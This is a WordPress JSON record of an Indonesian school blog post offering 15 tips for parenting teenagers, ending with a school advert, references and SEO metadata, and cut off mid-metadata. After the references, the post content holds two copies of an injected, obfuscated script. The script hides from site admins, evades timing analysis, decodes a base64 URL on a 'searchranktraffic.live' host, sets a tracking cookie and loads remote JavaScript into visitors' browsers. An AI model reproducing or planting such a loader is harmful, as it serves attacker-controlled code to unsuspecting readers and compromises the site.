{"id":1645,"date":"2025-09-09T09:00:39","date_gmt":"2025-09-09T02:00:39","guid":{"rendered":"https:\/\/www.altaglobalschool.com\/blog\/?p=1645"},"modified":"2026-01-20T06:24:51","modified_gmt":"2026-01-19T23:24:51","slug":"tips-parenting-untuk-mendidik-anak-remaja","status":"publish","type":"post","link":"https:\/\/www.altaglobalschool.com\/blog\/tips-parenting-untuk-mendidik-anak-remaja","title":{"rendered":"15 Tips Parenting untuk Mendidik Anak Remaja"},"content":{"rendered":"<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/a3a80811-aed2-4a97-a721-9a8b75a1e28b.png\" alt=\"tips parenting untuk anak remaja\" \/><\/p>\n<blockquote>\n<p style=\"text-align: center;\"><em><span style=\"font-weight: 400;\">Masa remaja adalah fase perubahan yang menjadi tantangan bagi orang tua. Berikut 15 tips parenting yang bisa Ayah Bunda terapkan untuk mendidik anak remaja<\/span><span style=\"font-weight: 400;\">.<\/span><\/em><\/p>\n<\/blockquote>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">\u2014<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ketika anak memasuki usia remaja, mereka mulai mencari jati diri dan ingin diakui sebagai individu yang mandiri. Namun, di sisi lain, mereka masih membutuhkan bimbingan dan arahan dari orang tua untuk menjalani masa transisi ini.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Jika pendekatan yang digunakan kurang tepat, komunikasi bisa menjadi sulit, dan hubungan antara orang tua dan anak bisa menjadi renggang, bahkan memicu konflik dalam keluarga.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Agar hal tersebut tidak terjadi, berikut beberapa tips parenting yang bisa Ayah Bunda terapkan untuk mendidik anak remaja dengan lebih bijak.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span style=\"font-size: 18pt;\"><b>1. Bangun Komunikasi yang Terbuka<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Remaja cenderung menutup diri ketika merasa tidak dipahami dan dimengerti. Nah, Ayah dan Bunda bisa mulai dengan membiasakan percakapan ringan setiap hari, misalnya menanyakan bagaimana kegiatan di sekolah tanpa langsung menghakimi.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Hindari langsung memberi nasihat saat mereka bercerita. Tunjukkan bahwa Anda mau mendengar dulu. Hal ini bisa membuat anak merasa dihargai dan lebih terbuka untuk berbagi.<\/span><\/p>\n<p><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/2961083b-28d5-435e-a923-319eafae1e4c.png\" alt=\"komunikasi dengan anak\" \/><\/p>\n<p style=\"text-align: center;\"><em><span style=\"font-weight: 400;\">Bangun komunikasi yang terbuka dengan anak (Sumber: freepik.com)<\/span><\/em><\/p>\n<p>&nbsp;<\/p>\n<h2><span style=\"font-size: 18pt;\"><b>2. Tunjukkan Empati, Bukan Emosi<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Saat anak bersikap menyebalkan atau membuat kesalahan, wajar jika orang tua merasa kesal. Tapi, cobalah untuk menahan emosi dan melihat dari sudut pandang anak. Bisa jadi mereka sedang bingung dan tertekan.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Contohnya, saat anak menolak belajar, daripada langsung memarahi, cobalah menanyakan apakah ada yang membuatnya lelah atau stres. Nah dengan begini, anak merasa dimengerti, bukan disalahkan.<\/span><\/p>\n<p style=\"text-align: justify;\"><strong>Baca juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/tips-mengembangkan-sosial-emosional-anak\">Tahap Perkembangan Sosial Emosional Anak &amp; Tips Mengajarkannya<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2><span style=\"font-size: 18pt;\"><b>3. Tetapkan Aturan yang Jelas dan Konsisten<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Remaja butuh batasan, tapi mereka juga ingin tahu alasan di balik aturan tersebut. Misalnya, aturan jam malam. Jelaskan kalau itu soal keamanan, bukan karena tidak percaya.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Jangan lupa untuk konsisten dalam menerapkan aturan. Kalau hari ini boleh, besok tidak, anak jadi bingung dan bisa mulai mengabaikan batasan yang dibuat.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span style=\"font-size: 18pt;\"><b>4. Berikan Ruang untuk Mandiri<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Anak yang memasuki masa remaja selalu ingin mencoba banyak hal sendiri. Biarkan mereka mengambil keputusan sendiri dalam hal sederhana, seperti memilih pakaian dan mengatur jadwal belajar.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Dengan demikian, anak akan belajar bertanggung jawab atas pilihannya. Kalau ternyata keputusannya tidak berjalan baik, bantu mereka mengevaluasi dan belajar dari situ.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span style=\"font-size: 18pt;\"><b>5. Menjadi Contoh yang Baik<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Anak lebih mudah meniru tindakan orang tua daripada mendengarkan nasihat. Kalau ingin anak bersikap jujur dan disiplin, orang tua juga perlu menunjukkan sikap tersebut terlebih dahulu.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Misalnya, jika Ayah dan Bunda ingin anak tidak main HP saat makan, maka beri contoh dengan menyimpan HP juga. Anak akan meniru sikap, bukan hanya ucapan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span style=\"font-size: 18pt;\"><b>6. Dukung Minat dan Bakat Anak<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Minat anak belum tentu sesuai dengan harapan orang tua, tapi itu bukan berarti tidak penting. Misalnya, anak suka menggambar, sementara orang tua berharap fokus di pelajaran lain.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ayah dan Bunda bisa tetap mendukung dengan menyediakan alat gambar atau memasukkannya ke kursus singkat. Dukungan ini membuat anak merasa dihargai dan percaya diri.<\/span><\/p>\n<p><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/7e87f907-2c92-4f89-9c64-d2794992c54e.png\" alt=\"dukung minat bakat anak\" \/><\/p>\n<p style=\"text-align: center;\"><em><span style=\"font-weight: 400;\">Dukung dan fasilitasi semua minat dan bakat anak agar mereka merasa dihargai (Sumber: freepik.com)<\/span><\/em><\/p>\n<p>&nbsp;<\/p>\n<h2><span style=\"font-size: 18pt;\"><b>7. Mengajarkan Tanggung Jawab Sejak Dini<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Remaja perlu belajar bahwa setiap pilihan ada tanggung jawabnya. Misalnya, kalau lupa membawa tugas sekolah, biarkan mereka menghadapi konsekuensinya.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Jangan terburu buru menyelamatkan mereka dari setiap kesalahan. Cobalah biarkan anak belajar dari pengalaman tersebut agar mereka bisa lebih bertanggung jawab dan tidak mengulanginya.<\/span><\/p>\n<p style=\"text-align: justify;\"><strong>Baca juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/tips-mendampingi-anak-mengerjakan-tugas\">Tips Mendampingi Anak Mengerjakan Tugas Sekolah di Rumah<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2><span style=\"font-size: 18pt;\"><b>8. Hindari Membandingkan Anak<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kalimat seperti, <em>\u201cKakakmu saja bisa, masa kamu tidak?<\/em>\u201d justru bisa membuat anak merasa tidak cukup baik dan menurunkan rasa percaya diri mereka. Perlu diingat, setiap anak memiliki karakter dan perkembangan yang berbeda.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Akan lebih baik jika Ayah dan Bunda fokus pada kemajuan anak, sekecil apa pun itu. Memberikan apresiasi atas usaha mereka jauh lebih positif dibandingkan membandingkan dengan orang lain.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span style=\"font-size: 18pt;\"><b>9. Bangun Kepercayaan Lewat Tanggung Jawab<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Berikan kepercayaan secara bertahap, misalnya dengan memberi tanggung jawab sederhana seperti menjaga rumah selama 1\u20132 jam. Sebelumnya, pastikan anak paham aturan yang harus dipatuhi.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kalau mereka bisa menjalankan tugas dengan baik, beri apresiasi. Hal ini bisa membantu membangun rasa percaya diri sekaligus memperkuat hubungan antara orang tua dan anak.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span style=\"font-size: 18pt;\"><b>10. Dampingi Saat Anak Menghadapi Tekanan<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Remaja bisa mengalami tekanan dari berbagai arah, seperti teman sebaya, tugas sekolah, atau media sosial. Kalau anak terlihat murung atau berbeda dari biasanya, coba ajak bicara dengan tenang tanpa memaksa.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kadang mereka tidak butuh solusi, tetapi hanya ingin didengar. Kehadiran orang tua sebagai pendengar yang suportif sering kali jauh lebih membantu daripada langsung memberi nasihat.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span style=\"font-size: 18pt;\"><b>11. Berikan Batasan Penggunaan Gadget<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Penggunaan gadget yang berlebihan bisa mengganggu waktu belajar, tidur, bahkan interaksi sosial anak. Untuk mengatasinya, Ayah dan Bunda bisa membuat kesepakatan, misalnya tidak memakai gadget setelah jam tertentu di malam hari.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sampaikan alasan aturan tersebut secara terbuka agar anak mengerti tujuannya. Ajak anak berdiskusi saat membuat aturan, supaya mereka merasa dilibatkan dan lebih mau mematuhinya.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span style=\"font-size: 18pt;\"><b>12. Libatkan Anak dalam Pengambilan Keputusan<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Libatkan anak dalam keputusan sederhana, seperti memilih destinasi liburan keluarga atau menentukan kegiatan akhir pekan. Menanyakan pendapat mereka bisa membuat anak merasa dilibatkan dan dihargai.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ketika remaja merasa dilibatkan, mereka cenderung lebih terbuka dan bertanggung jawab. Cara ini juga membantu membangun komunikasi yang lebih baik dalam keluarga.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span style=\"font-size: 18pt;\"><b>13. Jangan Malu Minta Maaf<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kalau orang tua bersikap tidak adil atau bicara dengan nada tinggi, jangan ragu untuk minta maaf. Cara ini bukan tanda kelemahan, tapi menunjukkan bahwa orang tua juga bisa salah.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sikap seperti itu bisa membantu anak belajar bahwa setiap orang bertanggung jawab atas tindakannya. Kebiasaan ini juga membantu membangun suasana keluarga yang saling menghargai.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span style=\"font-size: 18pt;\"><b>14. Perhatikan Kesehatan Mental Anak<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Perubahan emosi pada remaja sering dianggap berlebihan atau drama. Padahal, bisa saja itu tanda bahwa anak sedang merasa stres, cemas, dan tertekan.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ayah dan Bunda bisa mulai dengan menciptakan suasana rumah yang tenang dan terbuka untuk berdiskusi. Dukungan emosional dari orang tua sangat membantu anak menghadapi masa-masa sulitnya.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span style=\"font-size: 18pt;\"><b>15. Jangan Lupa Tunjukkan Kasih Sayang<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Meskipun sudah beranjak remaja, anak tetap butuh perhatian dan dukungan emosional dari orang tua. Perlakuan seperti pelukan, pujian, atau sekadar kata-kata positif tetap penting bagi mereka.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ucapan seperti <em>\u201cIbu bangga padamu\u201d<\/em> atau <em>\u201cAyah sayang kamu\u201d<\/em> bisa membantu anak merasa dihargai dan diterima. Konsistensi dalam menunjukkan kasih sayang juga memperkuat hubungan orang tua dan anak di masa tumbuh kembangnya.<\/span><\/p>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">\u2014<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Nah, itulah 15 tips parenting yang bisa Ayah dan Bunda coba terapkan untuk mendidik anak remaja. Melalui pendekatan yang tepat, orang tua bisa tetap dekat dan dipercaya meski anak sedang berada dalam masa transisi.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kalau Ayah dan Bunda sedang mencari sekolah yang mendukung perkembangan anak secara akademik dan emosional, coba daftarkan mereka ke <\/span><a href=\"https:\/\/www.altaglobalschool.com\/\"><b>Alta Global School<\/b><\/a><span style=\"font-weight: 400;\">. Melalui metode pembelajaran <\/span><em><span style=\"font-weight: 400;\">blended-learning<\/span><\/em><span style=\"font-weight: 400;\"> dari Pre-K hingga Kelas 12, anak-anak dibimbing untuk siap meraih beasiswa ke universitas terbaik di Indonesia dan dunia. Yuk, mulai daftar sekarang!<\/span><\/p>\n<p><strong>Masih ragu? Coba kelas gratisnya dengan klik gambar di bawah ini!<\/strong><\/p>\n<p><a href=\"https:\/\/cdn.jotfor.ms\/250018424797460&amp;channel=blog-ags&amp;subchannel1=button-ags&amp;source=ags\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/c30888d1-988b-4e9e-b0a6-20fe32081d0d.png\" alt=\"Banner Blog AGS\" \/><\/a><\/p>\n<p><strong>Referensi:<\/strong><\/p>\n<p><span style=\"font-weight: 400;\">Deni P. 5 Tips Parenting Anak Remaja [Daring]. Tautan: https:\/\/akupintar.id\/info-pintar\/-\/blogs\/5-tips-parenting-anak-remaja. Diakses 20 Juli 2025.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Newport Academy. 15 Tips for Parenting Teens and Adolescents October 5, 2022 [Daring]. Tautan: https:\/\/www.newportacademy.com\/resources\/restoring-families\/tips-for-parenting-teens\/. Diakses 20 Juli 2025.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Unifam. Si Kecil Beranjak Remaja? Lakukan 7 Cara Parenting ini Saat Anak Mulai Beranjak Remaja 7 Agustus 2024 [Daring]. Tautan: https:\/\/unifam.com\/blog\/cara-parenting-anak-remaja-yang-perlu-diketahui. Diakses 20 Juli 2025.<\/span><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Masa remaja adalah fase perubahan yang menjadi tantangan bagi orang tua. Berikut 15 tips parenting yang bisa Ayah Bunda terapkan untuk mendidik anak remaja. \u2014 Ketika anak memasuki usia remaja, mereka mulai mencari jati diri dan ingin diakui sebagai individu yang mandiri. Namun, di sisi lain, mereka masih membutuhkan bimbingan dan arahan dari orang tua [&hellip;]<\/p>\n","protected":false},"author":43,"featured_media":1645,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_edit_lock":["1757412304:1"],"_edit_last":["1"],"_aioseo_title":[null],"_aioseo_description":["Masa remaja adalah fase perubahan yang menjadi tantangan bagi orang tua. Berikut tips parenting yang bisa Ayah Bunda terapkan untuk mendidik anak remaja."],"_aioseo_keywords":["a:0:{}"],"_aioseo_og_title":[null],"_aioseo_og_description":[null],"_aioseo_og_article_section":[""],"_aioseo_og_article_tags":["a:0:{}"],"_aioseo_twitter_title":[null],"_aioseo_twitter_description":[null],"_knawatfibu_url":["https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/a3a80811-aed2-4a97-a721-9a8b75a1e28b.png"],"_linker_next_update":["1769392051"],"_yoast_wpseo_metadesc":["Masa remaja adalah fase perubahan yang menjadi tantangan bagi orang tua. Berikut tips parenting yang bisa Ayah Bunda terapkan untuk mendidik anak remaja."]},"categories":[1],"tags":[],"class_list":["post-1645","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>15 Tips Parenting untuk Mendidik Anak Remaja<\/title>\n<meta name=\"description\" content=\"Masa remaja adalah fase perubahan yang menjadi tantangan bagi orang tua. Berikut tips parenting yang bisa Ayah Bunda terapkan untuk mendidik anak remaja.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.altaglobalschool.com\/blog\/tips-parenting-untuk-mendidik-anak-remaja\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"15 Tips Parenting untuk Mendidik Anak Remaja\" \/>\n<meta property=\"og:description\" content=\"Masa remaja adalah fase perubahan yang menjadi tantangan bagi orang tua. Berikut tips parenting yang bisa Ayah Bunda terapkan untuk mendidik anak remaja.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.altaglobalschool.com\/blog\/tips-parenting-untuk-mendidik-anak-remaja\" \/>\n<meta property=\"og:site_name\" content=\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\" \/>\n<meta property=\"article:published_time\" content=\"2025-09-09T02:00:39+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-01-19T23:24:51+00:00\" \/>\n<meta name=\"author\" content=\"Devi Lianovanda\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Devi Lianovanda\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/tips-parenting-untuk-mendidik-anak-remaja\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/tips-parenting-untuk-mendidik-anak-remaja\",\"name\":\"15 Tips Parenting untuk Mendidik Anak Remaja\",\"isPartOf\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/tips-parenting-untuk-mendidik-anak-remaja#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/tips-parenting-untuk-mendidik-anak-remaja#primaryimage\"},\"thumbnailUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/a3a80811-aed2-4a97-a721-9a8b75a1e28b.png\",\"datePublished\":\"2025-09-09T02:00:39+00:00\",\"dateModified\":\"2026-01-19T23:24:51+00:00\",\"author\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/6dcd20383b39caa2c9674d08b39fc6ac\"},\"description\":\"Masa remaja adalah fase perubahan yang menjadi tantangan bagi orang tua. Berikut tips parenting yang bisa Ayah Bunda terapkan untuk mendidik anak remaja.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/tips-parenting-untuk-mendidik-anak-remaja#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.altaglobalschool.com\/blog\/tips-parenting-untuk-mendidik-anak-remaja\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/tips-parenting-untuk-mendidik-anak-remaja#primaryimage\",\"url\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/a3a80811-aed2-4a97-a721-9a8b75a1e28b.png\",\"contentUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/a3a80811-aed2-4a97-a721-9a8b75a1e28b.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/tips-parenting-untuk-mendidik-anak-remaja#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.altaglobalschool.com\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"15 Tips Parenting untuk Mendidik Anak Remaja\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/\",\"name\":\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/6dcd20383b39caa2c9674d08b39fc6ac\",\"name\":\"Devi Lianovanda\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/51a9ca0e620f8e70168b31d6ee1335470844b915acc41b0e5e6211181acd871e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/51a9ca0e620f8e70168b31d6ee1335470844b915acc41b0e5e6211181acd871e?s=96&d=mm&r=g\",\"caption\":\"Devi Lianovanda\"},\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/author\/devi-lianovanda\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"15 Tips Parenting untuk Mendidik Anak Remaja","description":"Masa remaja adalah fase perubahan yang menjadi tantangan bagi orang tua. Berikut tips parenting yang bisa Ayah Bunda terapkan untuk mendidik anak remaja.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.altaglobalschool.com\/blog\/tips-parenting-untuk-mendidik-anak-remaja","og_locale":"en_US","og_type":"article","og_title":"15 Tips Parenting untuk Mendidik Anak Remaja","og_description":"Masa remaja adalah fase perubahan yang menjadi tantangan bagi orang tua. Berikut tips parenting yang bisa Ayah Bunda terapkan untuk mendidik anak remaja.","og_url":"https:\/\/www.altaglobalschool.com\/blog\/tips-parenting-untuk-mendidik-anak-remaja","og_site_name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","article_published_time":"2025-09-09T02:00:39+00:00","article_modified_time":"2026-01-19T23:24:51+00:00","author":"Devi Lianovanda","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Devi Lianovanda","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.altaglobalschool.com\/blog\/tips-parenting-untuk-mendidik-anak-remaja","url":"https:\/\/www.altaglobalschool.com\/blog\/tips-parenting-untuk-mendidik-anak-remaja","name":"15 Tips Parenting untuk Mendidik Anak Remaja","isPartOf":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/tips-parenting-untuk-mendidik-anak-remaja#primaryimage"},"image":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/tips-parenting-untuk-mendidik-anak-remaja#primaryimage"},"thumbnailUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/a3a80811-aed2-4a97-a721-9a8b75a1e28b.png","datePublished":"2025-09-09T02:00:39+00:00","dateModified":"2026-01-19T23:24:51+00:00","author":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/6dcd20383b39caa2c9674d08b39fc6ac"},"description":"Masa remaja adalah fase perubahan yang menjadi tantangan bagi orang tua. Berikut tips parenting yang bisa Ayah Bunda terapkan untuk mendidik anak remaja.","breadcrumb":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/tips-parenting-untuk-mendidik-anak-remaja#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.altaglobalschool.com\/blog\/tips-parenting-untuk-mendidik-anak-remaja"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/tips-parenting-untuk-mendidik-anak-remaja#primaryimage","url":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/a3a80811-aed2-4a97-a721-9a8b75a1e28b.png","contentUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/a3a80811-aed2-4a97-a721-9a8b75a1e28b.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.altaglobalschool.com\/blog\/tips-parenting-untuk-mendidik-anak-remaja#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.altaglobalschool.com\/blog"},{"@type":"ListItem","position":2,"name":"15 Tips Parenting untuk Mendidik Anak Remaja"}]},{"@type":"WebSite","@id":"https:\/\/www.altaglobalschool.com\/blog\/#website","url":"https:\/\/www.altaglobalschool.com\/blog\/","name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia 